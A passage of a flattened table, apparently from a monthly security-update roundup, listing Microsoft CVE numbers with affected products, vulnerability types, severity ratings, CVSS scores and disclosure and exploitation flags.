No\n  No\n  RCE\n \n \n  CVE-2026-68801\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68803\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68805\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68806\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68807\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68810\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68811\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68812\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68814\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68815\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68817\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62912\n  Microsoft Exchange\n  Server Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62910\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-65813\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-62913\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62915\n  Microsoft Exchange\n  Server Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62914\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-59133\n  Microsoft High\n  Performance Computing (HPC) Pack Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59124\n  Microsoft High\n  Performance Computing (HPC) Pack Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62784\n  Microsoft Local\n  Security Authority Server (lsasrv) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68792\n  Microsoft Office\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62842\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63517\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66809\n  Microsoft Office\n  Graphics Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63524\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63529\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64899\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70314\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70315\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70317\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70323\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63533\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64904\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65656\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65661\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57105\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70306\n  Microsoft Office\n  SharePoint Spoofing Vulnerability\n  Important\n  9.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63521\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63528\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63530\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63531\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-64917\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66806\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-66810\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70319\n  Microsoft Office Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63527\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64905\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-64915\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70311\n  Microsoft Office Word\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65680\n  Microsoft OneDrive for\n  MacOS Elevation of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70329\n  Microsoft Outlook\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-62882\n  Microsoft Outlook\n  Spoofing Vulnerability\n  Important\n  4.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-70313\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70337\n  Microsoft PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70338\n  Microsoft PowerShell\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59138\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-61345\n  Microsoft Remote\n  Registry Service Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-70324\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70321\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70326\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70355\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-62837\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-63514\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-63520\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-64901\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65658\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-65663\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66805\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66808\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58639\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62829\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62839\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-62917\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63516\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64897\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64900\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64902\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64916\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-64922\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65660\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-63512\n  Microsoft SharePoint\n  Server Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-65767\n  Microsoft Teams for\n  Android and iOS Spoofing Vulnerability\n  Important\n  8.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-65769\n  Microsoft Teams iOS\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65768\n  Microsoft Teams Remote\n  Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-66804\n  Microsoft Windows\n  Cross Device Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59135\n  Microsoft Windows\n  Search Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65814\n  Microsoft Windows\n  Storage Port Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70310\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58651\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-6726 *\n  MITRE: CVE-2026-6726\n  TPM 2.0 Improper Object Slot Reuse\n  Important\n  7.9\n  No\n  No\n  \n \n \n  CVE-2026-6727 *\n  MITRE: CVE-2026-6727\n  TPM 2.0 RSA OAEP Timing Side-Channel Vulnerability\n  Important\n  5.9\n  No\n  No\n  \n \n \n  CVE-2026-65811\n  Power BI Remote Code\n  Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-68809\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70312\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70316\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70320\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70322\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-70325\n  Powerpoint Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59119\n  PowerShell Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58612\n  PowerShell Information\n  Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-65671\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65672\n  Remote Access API\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-42976\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-59134\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61352\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61363\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-54113\n  Remote Procedure Call\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62781\n  RPC Runtime Library\n  Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-59125\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-47285\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54981\n  Visual Studio Code\n  Python Extension Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-59113\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-69320\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-70336\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58650\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69278\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-69306\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-62743\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62746\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62786\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62798\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61358\n  Windows Accessibility\n  Infrastructure (ATBroker.exe) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49179\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-61348\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70307\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65778\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65779\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65780\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65781\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65782\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65783\n  Windows Autopilot\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62908\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61927\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61934\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62705\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62722\n  Windows Bind Filter\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62713\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62771\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62728\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62772\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62775\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-72971\n   Windows Container Isolation FS Filter Driver\n  (unionfs.sys) Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61936\n  Windows Defender\n  Firewall Service Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-62710\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62747\n  Windows Device\n  Association Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65785\n  Windows DHCP Client\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-62736\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62755\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61361\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Important\n  7\n  No\n  No\n  RCE\n \n \n  CVE-2026-62761\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62776\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62803\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62807\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62812\n  Windows DHCP Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62714\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62715\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62716\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62718\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62720\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62742\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62745\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62814\n  Windows DHCP Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61923\n  Windows Display\n  Enhancement Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62769\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62778\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-62881\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62883\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65795\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65797\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65798\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-65799\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70304\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-70330\n  Windows DNS Elevation\n  of Privilege Vulnerability\n  Important\n  6.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61920\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-62787\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-61932\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62888\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62894\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61933\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62703\n  Windows DWM Core\n  Library Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59128\n  Windows Encrypting\n  File System (EFS) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-59126\n  Windows Event Logging\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-59137\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61347\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-61360\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-65662\n  Windows GDI\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62709\n  Windows GDI+\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-62702\n  Windows Graphics\n  Kernel Denial of Service Vulnerability\n  Important\n  6.8\n  No\n  No\n  DoS\n \n \n  CVE-2026-61346\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62774\n  Windows Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-61928\n  Windows Hello\n  Tampering Vulnerability\n  Important\n  5.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-62750\n  Windows HTTP Protocol\n  Stack Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-61937\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62735\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62739\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62741\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-62753\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62811\n  Windows HTTP.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61368\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5\n  No\n  No\n  Info\n \n \n  CVE-2026-62740\n  Windows Imaging\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54984\n  Windows Imaging\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-59127\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61925\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-61938\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-62768\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65774\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70344\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70345\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70346\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-70347\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-65681\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-65796\n  Windows iSCSI Target\n  Service Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-65679\n  Windows iSCSI Target\n  Service Remote Code Execution 